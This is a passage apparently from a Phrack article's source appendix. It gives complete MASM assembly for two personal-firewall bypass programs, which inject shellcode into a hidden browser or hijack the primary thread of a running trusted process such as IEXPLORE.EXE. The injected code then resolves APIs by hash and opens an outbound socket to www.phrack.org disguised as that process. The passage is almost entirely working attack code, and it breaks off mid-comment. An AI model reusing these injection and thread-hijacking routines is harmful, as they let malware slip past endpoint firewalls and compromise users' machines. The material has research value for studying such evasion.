INVOKE    GetStartupInfo, ADDR sinf
MOV       sinf.wShowWindow, SW_HIDE

; Create the brwoser process and WaitForInputIdle()
; to give it some time for initialization

INVOKE    CreateProcess, 0, browser, 0, 0, 0, 0, 0, 0, \
        ADDR sinf, ADDR pinf
EJUMP     ERR_CLEAN

INVOKE    WaitForInputIdle, pinf.hProcess, 10000
CMP       EAX, 0
JNE       ERR_CLEAN

MOV       EBX, pinf.hProcess
MOV       ECX, pinf.hThread

; Allocate memory in the remote process' address
; space and use WriteProcessMemory() to copy the
; code of the inject procedure.

MOV       EDX, FUNC_SIZE
INVOKE    VirtualAllocEx, EBX, 0, EDX, MEM_COMMIT, \
        PAGE_EXECUTE_READWRITE
EJUMP     ERR_SUCC

MOV       pbRemoteMemory, EAX
MOV       EDX, FUNC_SIZE

INVOKE    WriteProcessMemory, EBX, pbRemoteMemory, \
        inject, EDX, 0
EJUMP     ERR_CLEAN_VF

; The code has been copied, create a thread that
; starts at the remote address

INVOKE    CreateRemoteThread, EBX, 0, 0, pbRemoteMemory, \
        pbRemoteMemory, 0, ADDR dwRemoteThreadID
EJUMP     ERR_CLEAN_TH

MOV       thRemoteThreadHandle, EAX
MOV       dwReturn, 0

```

```
; Wait until the remote thread terminates and see what the
; return value looks like. The inject procedure will return
; a boolean value in EAX, indicating whether or not it was
; successful.
```

```
INVOKE WaitForSingleObject,thRemoteThreadHandle,INFINITE
INVOKE GetExitCodeThread,thRemoteThreadHandle,ADDR dwReturn
```

```
; If the return value equals 0, an error has occurred and we
; will display a failure MessageBox()
```

```
CMP      dwReturn, 0
JNE      ERR_CLEAN_TH
```

```
INVOKE  MessageBox, 0, OFFSET sFail, OFFSET sCapFail, 16
```

```
ERR_CLEAN_TH:
```

```
INVOKE  CloseHandle,thRemoteThreadHandle
```

```
ERR_CLEAN_VF:
```

```
INVOKE  VirtualFreeEx, EBX, pbRemoteMemory, 0, MEM_RELEASE
```

```
ERR_CLEAN:
```

```
INVOKE  TerminateProcess, EBX, 0
```

```
INVOKE  CloseHandle,pinf.hThread
```

```
INVOKE  CloseHandle,pinf.hProcess
```

```
ERR_SUCC:
```

```
RET
```

```
bypass  ENDP
```

```
inject  PROC NEAR STDCALL, iBase:DWORD
```

```
LOCAL k32base      :DWORD
LOCAL expbase      :DWORD
LOCAL forwards     :DWORD
```

```
LOCAL pGetProcAddress :DWORD
LOCAL pGetModuleHandle :DWORD
LOCAL pLoadLibrary    :DWORD
LOCAL pFreeLibrary    :DWORD
```

```
LOCAL pMessageBox    :DWORD
LOCAL u32base        :DWORD
LOCAL ws32base       :DWORD
```

```
LOCAL pWSAStartup    :DWORD
LOCAL pWSACleanup    :DWORD
```

```
LOCAL pSocket        :DWORD
LOCAL pConnect       :DWORD
LOCAL pSend          :DWORD
LOCAL pRecv          :DWORD
LOCAL pClose         :DWORD
```

```
JMP IG
```

```
sGetModuleHandle DB "GetModuleHandleA" ,0
sLoadLibrary     DB "LoadLibraryA"     ,0
sFreeLibrary     DB "FreeLibrary"      ,0

sUser32          DB "USER32.DLL"       ,0
```

```

sMessageBox      DB "MessageBoxA"      ,0

sGLA             DB "GetLastError"      ,0
sWLA             DB "WSAGetLastError"   ,0

sWS2_32          DB "ws2_32.dll"        ,0
sWSAStartup       DB "WSAStartup"       ,0
sWSACleanup       DB "WSACleanup"       ,0
sSocket           DB "socket"           ,0
sConnect          DB "connect"          ,0
sSend             DB "send"             ,0
sRecv             DB "recv"             ,0
sClose            DB "closesocket"      ,0

wsa LABEL BYTE
wVersion          DW 0
wHighVersion      DW 0
szDescription      DB WSADESCRIPTION_LEN+1 DUP(0)
szSystemStatus    DB WSASYS_STATUS_LEN+1 DUP(0)
iMaxSockets        DW 0
iMaxUdpDg          DW 0
lpVendorInfo       DD 0

sAddr LABEL BYTE
sin_family         DW AF_INET
sin_port           DW 05000H
sin_addr           DD 006EE3745H
sin_zero           DQ 0

sStartC           DB "SetUp Complete",0
sStart            DB "Injector SetUp complete. ", \
                  "Sending request:",13,10,13,10

sRequ             DB "GET / HTTP/1.0",13,10, \
                  "Host: www.phrack.org", \
                  13,10,13,10,0

sCap              DB "Injection successful",0
sRepl             DB 601 DUP(0)

```

```

IG:      ASSUME    FS:NOTHING                ; This is a MASM error bypass.

```

```

MOV      EAX, FS:[030H]                ; Get the Process Environment Block
TEST     EAX, EAX                      ; Check for Win9X
JS       W9X

```

```

WNT:     MOV      EAX, [EAX+00CH]        ; WinNT: get PROCESS_MODULE_INFO
MOV      ESI, [EAX+01CH]                ; Get fLink from ordered module list
LODSD                                         ; Load the address of bLink into eax
MOV      EAX, [EAX+008H]                ; Copy the module base from the list
JMP      K32                            ; Work done

```

```

W9X:     MOV      EAX, [EAX+034H]        ; Undocumented offset (0x34)
LEA      EAX, [EAX+07CH]                ; ...
MOV      EAX, [EAX+03CH]                ; ...

```

```

K32:     MOV      k32base,EAX           ; Keep a copy of the base address
MOV      pGetProcAddress, 0             ; now search for GetProcAddress
MOV      forwards,0                     ; Set the forwards to 0 initially

```

```

MOV      pWSACleanup, 0                 ; we will need these for error -

```

```

MOV      ws32base, 0          ; checks later on

ADD      EAX, [EAX+03CH]      ; pointer to IMAGE_NT_HEADERS
MOV      EAX, [EAX+078H]      ; RVA of exports directory
ADD      EAX, k32base         ; since RVA: add the base address
MOV      expbase, EAX        ; IMAGE_EXPORTS_DIRECTORY

MOV      EAX, [EAX+020H]      ; RVA of the AddressOfNames array
ADD      EAX, k32base         ; add the base address

MOV      ECX, [EAX]           ; ECX: RVA of the first string
ADD      ECX, k32base         ; add the base address

MOV      EAX, 0               ; EAX will serve as a counter
JMP      M2                   ; start looping

M1:      INC      EAX          ; Increase EAX every loop
M2:      MOV      EBX, 0       ; EBX will be the calculated hash

HASH:    MOV      EDX, EBX
SHL      EBX, 05H
SHR      EDX, 01BH
OR       EBX, EDX
MOV      EDX, 0
MOV      DL, [ECX]            ; Copy current character to DL
ADD      EBX, EDX             ; and add DL to the hash value
INC      ECX                  ; increase the string pointer
MOV      DL, [ECX]            ; next character in DL, now:
CMP      EDX, 0               ; check for null character
JNE      HASH

; This is where we take care of the forwarders.
; we will always subtract the number of forwarders
; that already occurred from our iterator (EAX) to
; retrieve the appropriate offset from the second
; array.

PUSH     EAX                  ; Safe EAX to the stack
SUB      EAX, forwards        ; Subtract forwards
IMUL     EAX, 4               ; addresses are DWORD's
INC      ECX                  ; Move the ECX pointer to the
                              ; beginning of the next name

MOV      EDX, expbase         ; Load exports directory
MOV      EDX, [EDX+01CH]      ; EDX: array of entry points
ADD      EDX, k32base         ; add the base address
MOV      EDX, [EDX+EAX]       ; Lookup the Function RVA
ADD      EDX, k32base         ; add the base address
MOV      pGetProcAddress, EDX ; This will be correct once
                              ; the loop is finished.

; Second stage of our forwarder check: If the
; "entry point" of this function points to the
; next string in array #1, we just found a forwarder.

CMP      EDX, ECX             ; forwarder check
JNE      FWD                  ; ignore normal entry points
INC      forwards             ; This was a forwarder

FWD:     POP      EAX          ; Restore EAX iterator
CMP      EBX, 099C95590H      ; hash value for "GetProcAddress"
JNE      M1

```

```
; We have everything we wanted. I use a simple macro  
; to load the functions by applying pGetProcAddress.
```

```
LPROC    k32base, sGetModuleHandle, pGetModuleHandle  
LPROC    k32base, sLoadLibrary, pLoadLibrary  
LPROC    k32base, sFreeLibrary, pFreeLibrary
```

```
PSHS     sUser32                ; we need user32.dll  
CALL     pGetModuleHandle        ; assume it is already loaded  
EJUMP    INJECT_ERROR           ; (we could use LoadLibrary)  
MOV      u32base, EAX           ; got it
```

```
PSHS     sWS2_32                ; most important: winsock DLL  
CALL     pLoadLibrary           ; LoadLibrary("ws2_32.dll");  
EJUMP    INJECT_ERROR  
MOV      ws32base, EAX
```

```
LPROC    u32base, sMessageBox, pMessageBox  
LPROC    ws32base, sWSAStartup, pWSAStartup  
LPROC    ws32base, sWSACleanup, pWSACleanup  
LPROC    ws32base, sSocket, pSocket  
LPROC    ws32base, sConnect, pConnect  
LPROC    ws32base, sSend, pSend  
LPROC    ws32base, sRecv, pRecv  
LPROC    ws32base, sClose, pClose
```

```
PSHS     wsa                    ; see our artificial data segment  
PUSH     2                      ; Version 2 is fine  
CALL     pWSAStartup            ; Do the WSAStartup()  
CMP      EAX, 0  
JNE      INJECT_ERROR
```

```
PUSH     0  
PUSH     SOCK_STREAM            ; A normal stream oriented socket  
PUSH     AF_INET               ; for Internet connections.  
CALL     pSocket               ; Create it.  
CMP      EAX, INVALID_SOCKET  
JE       INJECT_ERROR  
MOV      EBX, EAX
```

```
PUSH     sizeof sockaddr        ; Connect to www.phrack.org:80  
PSHS     sAddr                 ; hardcoded structure  
PUSH     EBX                   ; that's our socket descriptor  
CALL     pConnect              ; connect() to phrack.org  
CMP      EAX, SOCKET_ERROR  
JE       INJECT_ERROR
```

```
PUSH     0                     ; no flags  
PUSH     028H                  ; 40 bytes to send  
PSHS     sRequ                 ; the GET string  
PUSH     EBX                   ; socket descriptor  
CALL     pSend                 ; send() HTTP request  
CMP      EAX, SOCKET_ERROR  
JE       INJECT_ERROR
```

```
; We now have to receive the server's reply. We only  
; want the HTTP header to display it in a message box  
; as an indicator for a successful bypass.
```

```

        MOV     ECX, 0                ; number of bytes received
PP:     MOV     EDX, iBase
        ADD     EDX, OFFSET sRepl-inject

        ADD     EDX, ECX              ; EDX is the current position inside
                                      ; the string buffer

        PUSH    EDX
        PUSH    ECX

        PUSH    0                    ; no flags
        PUSH    1                    ; one byte to receive
        PUSH    EDX                  ; string buffer
        PUSH    EBX                  ; socket descriptor
        CALL    pRecv                ; recv() the byte

        POP     ECX
        POP     EDX

        CMP     AL, 1                ; one byte received ?
        JNE     PPE                  ; an error occurred
        CMP     ECX, 2               ; check if we already received
        JS      PP2                  ; more than 2 bytes

        MOV     AL, [EDX]            ; this is the byte we got
        CMP     AL, [EDX-2]          ; we are looking for <CRLF><CRLF>
        JNE     PP2
        CMP     AL, 10               ; we found it, most probably.
        JE      PPE                  ; we only want the headers.

PP2:    INC     ECX
        CMP     ECX, 600             ; 600 byte maximum buffer size
        JNE     PP

PPE:    PUSH    EBX                  ; socket descriptor
        CALL    pClose              ; close the socket

        PUSH    64                   ; neat info icon and an ok button
        PSHS    sCap                 ; the caption string
        PSHS    sRepl                ; www.phrack.org's HTTP header
        PUSH    0
        CALL    pMessageBox          ; display the message box.

        JMP     INJECT_SUCCESS       ; we were successful.

INJECT_SUCCESS:
        MOV     EAX, 1               ; return values are passed in EAX
        JMP     INJECT_CLEANUP

INJECT_ERROR:
        MOV     EAX, 0               ; boolean return value (success)

INJECT_CLEANUP:
        PUSH    EAX                 ; save our return value
        CMP     pWSACleanup, 0
        JE      INJECT_DONE
        CALL    pWSACleanup         ; perform cleanup
        CMP     ws32base, 0         ; check if we have loaded ws2_32
        JE      INJECT_DONE
        PUSH    ws32base
        CALL    pFreeLibrary        ; release ws2_32.dll

```

```
INJECT_DONE:
    POP     EAX                ; restore the return value
    RET                     ; and return
```

```
inject     ENDP
```

```
inject_end: END Main
```

-[0x0C] :: tiny.exe source code -----

This is the ASM source code for the second bypass program.

```
.386
```

```
.MODEL flat, stdcall
```

```
INCLUDE    windows.inc
INCLUDE    kernel32.inc
INCLUDE    advapi32.inc
```

```
bypass     PROTO                ; Tiny Firewall Bypass
inject     PROTO, iBase:DWORD    ; injected function
getsvc     PROTO, pProcessInfo:DWORD ; finds running, trusted process
getdbg     PROTO                ; enables the SE_DEBUG privilege
```

```
;      The PSHS macro is used to push the address of some
;      structure onto the stack inside the remote process'
;      address space. iBase contains the address where the
;      injected code starts.
```

```
PSHS      MACRO    BUFFER
            MOV     EDX, iBase
            ADD     EDX, OFFSET BUFFER - inject
            PUSH    EDX
            ENDM
```

```
;      The LPROC macro assumes that pGetProcAddress holds
;      the address of the GetProcAddress() API call and
;      simulates its behaviour. PROCNAME is a string inside
;      the injected code that holds the function name and
;      PROCADDR is a DWORD variable inside the injected
;      code that will retrieve the address of that function.
;      BASEDLL, as the name suggests, should hold the
;      base address of the appropriate DLL.
```

```
LPROC     MACRO    BASEDLL, PROCNAME, PROCADDR
            PSHS    PROCNAME
            PUSH    BASEDLL
            CALL    pGetProcAddress
            EJUMP   INJECT_ERROR
            MOV     PROCADDR, EAX
            ENDM
```

```
EJUMP     MACRO    TARGET_CODE ; jump when EAX is 0.
            CMP     EAX, 0
            JE      TARGET_CODE
            ENDM
```


.DATA

```
; This is the name of a trusted process to search for.
; If you know what you are doing, you can play with
; if and see whether other applications work with the
; current code (aka hijack primary thread).
; "OUTLOOK.EXE" works as well btw.

TRUSTED      DB  "IEXPLORE.EXE",0

SE_DEBUG     DB  "SeDebugPrivilege",0  ; debug privilege
IEV_NAME     DB  "TINY0",0             ; our event name
IEV_HANDLE   DD  ?                     ; event handle
FUNCSIZE     EQU iend-istart           ; inject's size
CODESIZE     EQU 19                    ; size of our "shellcode"
ALLSIZE      EQU FUNCSIZE + CODESIZE   ; complete size
FUNCADDR     EQU istart                 ; offset of inject

; JUMPDIF is the number of bytes from the beginning of
; the shellcode to the jump instruction. It is required
; to calculate the value of JUMP_ADDR, see below.

JUMPDIF      EQU 14

; This "shellcode" will be injected to the trusted
; process directly in front of the injector procedure
; itself. It will simply call the injector function
; with its base address as the first argument and
; jump back to the address where we hijacked the
; thread afterwards. The addresses of our injected
; function (PUSH_ADDR) and the original EIP of the
; hijacked thread (JUMP_ADDR) will be calculated
; at runtime, of course.

SHELLCODE    LABEL BYTE

PUSHAD_CODE  DB  060H ; PUSHAD
PUSHFD_CODE  DB  09CH ; PUSHFD
PUSH_CODE    DB  068H ; PUSH <function address>
PUSH_ADDR    DD  ?
CALL_CODE    DB  0E8H ; CALL <function address>
CALL_ADDR    DD  07H
POPFD_CODE   DB  09DH ; POPFD
POPAD_CODE   DB  061H ; POPAD
JUMP_CODE    DB  0E9H ; JUMP <original EIP>
JUMP_ADDR    DD  ?
              ; <injector function>
              ; ...
```

.CODE

```
Main: ; not much to do except calling
      ; the bypass function in this sample.
```

```
      INVOKE  bypass
      INVOKE  ExitProcess, 0
```

```
getdbg PROC ; enables the SE_DEBUG privilege for ourself
LOCAL   token:HANDLE
LOCAL   priv:TOKEN_PRIVILEGES
```

```

LOCAL    luid:LUID
INVOKE   LookupPrivilegeValue, 0,OFFSET SE_DEBUG, ADDR luid
EJUMP    DBE0
MOV      priv.PrivilegeCount, 01H
MOV      priv.Privileges.Attributes, 02H
MOV      EAX,luid.LowPart
MOV      priv.Privileges.Luid.LowPart,EAX
MOV      EAX,luid.HighPart
MOV      priv.Privileges.Luid.HighPart,EAX
INVOKE   GetCurrentProcess
MOV      ECX,EAX
INVOKE   OpenProcessToken,ECX,020H, ADDR token
MOV      ECX, token
CMP      ECX, 0
JE       DBE0
INVOKE   AdjustTokenPrivileges,ECX,0,ADDR priv,0,0,0
MOV      ECX,EAX
INVOKE   CloseHandle, token
MOV      EAX,ECX
DBE0:    RET
getdbg   ENDP

```

```

getsvcs PROC,    pProcessInfo:DWORD

; This function fills a PROCESS_INFORMATION
; structure with the ID and handle of the
; required trusted process and its primary
; thread. The tool helper API is used to
; retrieve this information.

```

```

LOCAL    p32:PROCESSENTRY32
LOCAL    t32:THREADENTRY32

```

```

LOCAL    hShot:DWORD

```

```

MOV      p32.dwSize, SIZEOF PROCESSENTRY32
MOV      t32.dwSize, SIZEOF THREADENTRY32

```

```

INVOKE   getdbg ; we need SE_DEBUG first

```

```

; Create a snapshot of all processes and
; threads. 06H is the appropriate bitmask
; for this purpose, look it up if you
; dont trust me.

```

```

INVOKE   CreateToolhelp32Snapshot,06H,0
MOV      hShot,EAX

```

```

; Start to search for the trusted process.
; We will compare the name of the process'
; primary module with the string buffer
; TRUSTED until we find a match.

```

```

INVOKE   Process32First, hShot, ADDR p32
CMP      EAX, 0
JE       GSE1

```

```

GSL:     LEA      EDX, p32.szExeFile
INVOKE   lstrcmpi, EDX, OFFSET TRUSTED

CMP      EAX, 0 ; lstrcmpi is not case sensitive!

```

```
JE      GSL1      ; good, we found the process
```

```
INVOKE  Process32Next, hShot, ADDR p32
```

```
CMP     EAX, 0 ; no more processes,
```

```
JE      GSE1     ; no success
```

```
JMP     GSL      ; otherwise, continue loop
```

```
; We have found an instance of the trusted  
; process, continue to retrieve information  
; about its primary thread and gain an open  
; handle to both the process itself and the  
; thread. To find the thread, we have to  
; loop through all thread entries in our  
; snapshot until we discover a thread that  
; has been created by the process we found.
```

```
GSL1:   INVOKE  Thread32First, hShot, ADDR t32  
        MOV     EBX, 0
```

```
TSL:    MOV     EDX, t32.th32OwnerProcessID  
        CMP     EDX, p32.th32ProcessID  
        JE      TSL0  
        INVOKE  Thread32Next, hShot, ADDR t32  
        CMP     EAX, 0 ; no more threads (weird),  
        JE      GSE1   ; no success  
        JMP     TSL     ; otherwise, continue loop
```

```
; Now, since we have got the ID's of both  
; the process itself and the primary thread,  
; use OpenProcess() and OpenThread() to  
; get a handle to both of them. You are right,  
; OpenThread is NOT a documented call, but  
; it looks like that was rather an accident.  
; It is exported by kernel32.dll just like  
; OpenProcess().
```

```
TSL0:   MOV     EDX, pProcessInfo      ; the structure address
```

```
MOV     EAX, p32.th32ProcessID ; copy the process ID  
MOV     [EDX+08H], EAX
```

```
MOV     EAX, t32.th32ThreadID ; copy the thread ID  
MOV     [EDX+0CH], EAX
```

```
PUSH    EDX ; save the address
```

```
INVOKE  OpenProcess, PROCESS_ALL_ACCESS, \  
0, p32.th32ProcessID
```

```
CMP     EAX, 0
```

```
JE      GSE1
```

```
MOV     EBX, EAX
```

```
INVOKE  OpenThread, THREAD_ALL_ACCESS, 0, \  
t32.th32ThreadID
```

```
CMP     EAX, 0
```

```
JE      GSE1
```

```
POP     EDX ; restore the address
```

```
MOV     [EDX], EBX ; copy the process handle
```

```

MOV      [EDX+04H], EAX      ; copy the thread handle

PUSH     1                   ; success
JMP      GSE0

GSE1:    PUSH     0           ; failure

GSE0:    CMP      hShot, 0
JE       GSE
INVOKE   CloseHandle, hShot  ; cleanup

GSE:     POP      EAX         ; pop the return value to EAX
RET      ; that's it.

getsvc   ENDP

```

istart:

```
inject   PROC, iBase:DWORD
```

```

LOCAL k32base      :DWORD
LOCAL expbase      :DWORD
LOCAL forwards     :DWORD

```

```

LOCAL pGetProcAddress :DWORD
LOCAL pGetModuleHandle :DWORD
LOCAL pLoadLibrary    :DWORD
LOCAL pFreeLibrary    :DWORD

```

```

LOCAL pOpenEvent     :DWORD
LOCAL pCloseHandle   :DWORD
LOCAL pSetEvent       :DWORD

```

```

LOCAL pMessageBox     :DWORD
LOCAL u32base         :DWORD
LOCAL ws32base        :DWORD

```

```

LOCAL pWSAStartup     :DWORD
LOCAL pWSACleanup     :DWORD

```

```

LOCAL pSocket         :DWORD
LOCAL pConnect        :DWORD
LOCAL pSend           :DWORD
LOCAL pRecv           :DWORD
LOCAL pClose          :DWORD

```

```
JMP IG
```

```

sGetModuleHandle DB "GetModuleHandleA" ,0
sLoadLibrary     DB "LoadLibraryA"     ,0
sFreeLibrary     DB "FreeLibrary"      ,0

```

```

sOpenEvent       DB "OpenEventA"       ,0
sCloseHandle     DB "CloseHandle"      ,0
sSetEvent        DB "SetEvent"         ,0
sFWPEVENT        DB "TINY0"           ,0

```

```

sUser32          DB "USER32.DLL"       ,0
sMessageBox      DB "MessageBoxA"      ,0

```

```

sGLA          DB "GetLastError"      ,0
sWLA          DB "WSAGetLastError"   ,0

sWS2_32       DB "ws2_32.dll"        ,0
sWSAStartup   DB "WSAStartup"        ,0
sWSACleanup   DB "WSACleanup"        ,0
sSocket       DB "socket"            ,0
sConnect      DB "connect"           ,0
sSend         DB "send"              ,0
sRecv        DB "recv"              ,0
sClose       DB "closesocket"       ,0

wsa LABEL BYTE
wVersion      DW 0
wHighVersion  DW 0
szDescription DB WSADESCRIPTION_LEN+1 DUP(0)
szSystemStatus DB WSASYS_STATUS_LEN+1 DUP(0)
iMaxSockets   DW 0
iMaxUdpDg     DW 0
lpVendorInfo  DD 0

sAddr LABEL BYTE
sin_family    DW AF_INET
sin_port      DW 05000H
sin_addr      DD 006EE3745H
sin_zero      DQ 0

sStartC       DB "SetUp Complete",0
sStart        DB "Injector SetUp complete. ", \
               "Sending request:",13,10,13,10

sRequ         DB "GET / HTTP/1.0",13,10, \
               "Host: www.phrack.org", \
               13,10,13,10,0

sCap          DB "Injection successful",0
sRepl         DB 601 DUP(0)

```

```

IG:    ASSUME    FS:NOTHING                ; This is a MASM error bypass.

      MOV      EAX, FS:[030H]                ; Get the Process Environment Block
      TEST     EAX, EAX                      ; Check for Win9X
      JS      W9X

WNT:   MOV      EAX, [EAX+00CH]                ; WinNT: get PROCESS_MODULE_INFO
      MOV      ESI, [EAX+01CH]                ; Get fLink from ordered module list
      LODSD                                ; Load the address of bLink into eax
      MOV      EAX, [EAX+008H]                ; Copy the module base from the list
      JMP      K32                          ; Work done

W9X:   MOV      EAX, [EAX+034H]                ; Undocumented offset (0x34)
      LEA      EAX, [EAX+07CH]                ; ...
      MOV      EAX, [EAX+03CH]                ; ...

K32:   MOV      k32base,EAX                  ; Keep a copy of the base address
      MOV      pGetProcAddress, 0            ; now search for GetProcAddress
      MOV      forwards,0                    ; Set the forwards to 0 initially

      MOV      pWSACleanup, 0                ; we will need these for error -
      MOV      ws32base, 0                    ; checks lateron

```

```

MOV      pOpenEvent, 0

ADD      EAX, [EAX+03CH]      ; pointer to IMAGE_NT_HEADERS
MOV      EAX, [EAX+078H]      ; RVA of exports directory
ADD      EAX, k32base         ; since RVA: add the base address
MOV      expbase, EAX        ; IMAGE_EXPORTS_DIRECTORY

MOV      EAX, [EAX+020H]      ; RVA of the AddressOfNames array
ADD      EAX, k32base         ; add the base address

MOV      ECX, [EAX]           ; ECX: RVA of the first string
ADD      ECX, k32base         ; add the base address

MOV      EAX, 0               ; EAX will serve as a counter
JMP      M2                   ; start looping

M1:      INC      EAX          ; Increase EAX every loop
M2:      MOV      EBX, 0       ; EBX will be the calculated hash

HASH:    MOV      EDX, EBX
SHL      EBX, 05H
SHR      EDX, 01BH
OR       EBX, EDX
MOV      EDX, 0
MOV      DL, [ECX]            ; Copy current character to DL
ADD      EBX, EDX             ; and add DL to the hash value
INC      ECX                  ; increase the string pointer
MOV      DL, [ECX]            ; next character in DL, now:
CMP      EDX, 0               ; check for null character
JNE      HASH

; This is where we take care of the forwarders.
; we will always subtract the number of forwarders
; that already occurred from our iterator (EAX) to
; retrieve the appropriate offset from the second
; array.

PUSH     EAX                  ; Safe EAX to the stack
SUB      EAX, forwards        ; Subtract forwards
IMUL     EAX, 4               ; addresses are DWORD's
INC      ECX                  ; Move the ECX pointer to the
                              ; beginning of the next name

MOV      EDX, expbase         ; Load exports directory
MOV      EDX, [EDX+01CH]      ; EDX: array of entry points
ADD      EDX, k32base         ; add the base address
MOV      EDX, [EDX+EAX]       ; Lookup the Function RVA
ADD      EDX, k32base         ; add the base address
MOV      pGetProcAddress, EDX ; This will be correct once
                              ; the loop is finished.

; Second stage of our forwarder check: If the
; "entry point" of this function points to the
; next string in array #1, we just found a forwarder.

CMP      EDX, ECX             ; forwarder check
JNE      FWD                  ; ignore normal entry points
INC      forwards             ; This was a forwarder

FWD:     POP      EAX          ; Restore EAX iterator
CMP      EBX, 099C95590H      ; hash value for "GetProcAddress"
JNE      M1

```

```

; We have everything we wanted. I use a simple macro
; to load the functions by applying pGetProcAddress.

LPROC    k32base, sGetModuleHandle, pGetModuleHandle
LPROC    k32base, sLoadLibrary, pLoadLibrary
LPROC    k32base, sFreeLibrary, pFreeLibrary

LPROC    k32base, sOpenEvent, pOpenEvent
LPROC    k32base, sCloseHandle, pCloseHandle
LPROC    k32base, sSetEvent, pSetEvent

PSHS     sUser32                ; we need user32.dll
CALL     pGetModuleHandle        ; assume it is already loaded
EJUMP    INJECT_ERROR           ; (we could use LoadLibrary)
MOV      u32base, EAX           ; got it

PSHS     sWS2_32                ; most important: winsock DLL
CALL     pLoadLibrary            ; LoadLibrary("ws2_32.dll");
EJUMP    INJECT_ERROR
MOV      ws32base, EAX

LPROC    u32base, sMessageBox, pMessageBox
LPROC    ws32base, sWSAStartup, pWSAStartup
LPROC    ws32base, sWSACleanup, pWSACleanup
LPROC    ws32base, sSocket, pSocket
LPROC    ws32base, sConnect, pConnect
LPROC    ws32base, sSend, pSend
LPROC    ws32base, sRecv, pRecv
LPROC    ws32base, sClose, pClose

PSHS     wsa                    ; see our artificial data segment
PUSH     2                      ; Version 2 is fine
CALL     pWSAStartup            ; Do the WSAStartup()
CMP      EAX, 0
JNE      INJECT_ERROR

PUSH     0
PUSH     SOCK_STREAM            ; A normal stream oriented socket
PUSH     AF_INET               ; for Internet connections.
CALL     pSocket               ; Create it.
CMP      EAX, INVALID_SOCKET
JE       INJECT_ERROR
MOV      EBX, EAX

PUSH     SIZEOF sockaddr        ; Connect to www.phrack.org:80
PSHS     sAddr                 ; hardcoded structure
PUSH     EBX                   ; that's our socket descriptor
CALL     pConnect              ; connect() to phrack.org
CMP      EAX, SOCKET_ERROR
JE       INJECT_ERROR

PUSH     0                     ; no flags
PUSH     028H                  ; 40 bytes to send
PSHS     sRequ                 ; the GET string
PUSH     EBX                   ; socket descriptor
CALL     pSend                 ; send() HTTP request
CMP      EAX, SOCKET_ERROR
JE       INJECT_ERROR

```

```
; We now have to receive the server's reply. We only
; want the HTTP header to display it in a message box
; as an indicator for a successful bypass.
```

```
MOV      ECX, 0                ; number of bytes received

PP:      MOV      EDX, iBase
ADD      EDX, OFFSET sRepl-inject

ADD      EDX, ECX              ; EDX is the current position inside
                                ; the string buffer

PUSH     EDX
PUSH     ECX

PUSH     0                    ; no flags
PUSH     1                    ; one byte to receive
PUSH     EDX                  ; string buffer
PUSH     EBX                  ; socket descriptor
CALL     pRecv                ; recv() the byte

POP      ECX
POP      EDX

CMP      AL, 1                ; one byte received ?
JNE      PPE                  ; an error occurred
CMP      ECX, 2                ; check if we already received
JS       PP2                  ; more than 2 bytes

MOV      AL, [EDX]             ; this is the byte we got
CMP      AL, [EDX-2]           ; we are looking for <CRLF><CRLF>
JNE      PP2
CMP      AL, 10                ; we found it, most probably.
JE       PPE                  ; we only want the headers.

PP2:     INC      ECX
CMP      ECX, 600              ; 600 byte maximum buffer size
JNE      PP

PPE:     PUSH     EBX           ; socket descriptor
CALL     pClose               ; close the socket

PUSH     64                   ; neat info icon and an ok button
PUSH     sCap                 ; the caption string
PUSH     sRepl                ; www.phrack.org's HTTP header
PUSH     0                    ; display the message box.
CALL     pMessageBox

JMP      INJECT_SUCCESS       ; we were successful.

INJECT_SUCCESS:
PUSH     1                    ; return success
JMP      INJECT_CLEANUP

INJECT_ERROR:
PUSH     0                    ; return failure

INJECT_CLEANUP:

PUSH     EAX                  ; save our return value
CMP      pWSACleanup, 0
JE       INJECT_DONE
```



```

CALL    pWSACleanup          ; perform cleanup
CMP     ws32base, 0          ; check if we have loaded ws2_32
JE      INJECT_DONE
PUSH    ws32base
CALL    pFreeLibrary         ; release ws2_32.dll

```

```

; the following code is the only real difference
; to the code in sample #1. It is used to signal
; an event with the name "TINY0" so that the
; injector executable knows when this code has
; done its job.

```

```

CMP     pOpenEvent, 0
JE      INJECT_DONE

```

```

PSHS    sFWPEVENT            ; "TINY0"
PUSH    0                    ; not inheritable
PUSH    EVENT_ALL_ACCESS     ; whatever
CALL    pOpenEvent           ; open the event
CMP     EAX, 0
JE      INJECT_DONE
MOV     EBX, EAX

```

```

PUSH    EBX
CALL    pSetEvent            ; signal the event

```

```

PUSH    EBX
CALL    pCloseHandle         ; close the handle

```

INJECT_DONE:

```

POP     EAX
RET                                           ; and return

```

inject ENDP
iend:

bypass PROC

```

LOCAL   pinf                :PROCESS_INFORMATION
LOCAL   mct                 :CONTEXT

LOCAL   dwReturn            :DWORD ; return value
LOCAL   dwRemoteThreadID    :DWORD ; remote thread ID
LOCAL   pbRemoteMemory      :DWORD ; remote base address

```

```

MOV     pinf.hProcess, 0
MOV     pinf.hThread, 0

```

```

; First of all, creat the even that we need to get
; informed about the progress of our injected code.

```

```

INVOKE  CreateEvent, 0, 1, 0, OFFSET IEV_NAME
EJUMP   BPE5
MOV     IEV_HANDLE, EAX

```

```

; Find a suitable, trusted process that we can use
; to hijack its primary thread. We will then pause
; that primary thread and make sure that its suspend
; count is exactly 1. It might seem a bit too careful,
; but if the primary thread is already suspended at

```

```
; the moment of infection, we have a problem. Thus,  
; we will rather make sure with some more commands  
; that the thread can be resumed with a single call  
; to ResumeThread().
```

```
INVOKE getsvc, ADDR pinf  
EJUMP BPE5
```

```
INVOKE SuspendThread, pinf.hThread
```

```
CMP EAX, 0FFFFFFFFH  
JE BPE3  
CMP EAX, 0  
JE SPOK
```

```
SPL: INVOKE ResumeThread, pinf.hThread  
CMP EAX, 1  
JNE SPL
```

```
; Here we go, the thread is paused and ready to be  
; hijacked. First, we get the EIP register along with  
; some others that do not interest us.
```

```
SPOK: MOV mct.ContextFlags, CONTEXT_CONTROL  
INVOKE GetThreadContext, pinf.hThread, ADDR mct  
EJUMP BPE2
```

```
; Now, allocate memory in the remote process' address  
; space for the shellcode and the injected function
```

```
INVOKE VirtualAllocEx, pinf.hProcess, 0, ALLSIZE, \  
MEM_COMMIT, PAGE_EXECUTE_READWRITE  
EJUMP BPE2  
MOV pbRemoteMemory, EAX
```

```
MOV EBX, EAX ; EBX: remote base address
```

```
ADD EAX, CODESIZE ; this is the future address  
MOV PUSH_ADDR, EAX ; of the inject function
```

```
MOV EAX, mct.regEip ; this is the current EIP  
MOV EDX, EBX ; EDX: remote base address  
ADD EDX, JUMPDIFFF ; EDX: absolute address of JMP call
```

```
; Now we calculate the distance between the JMP call and  
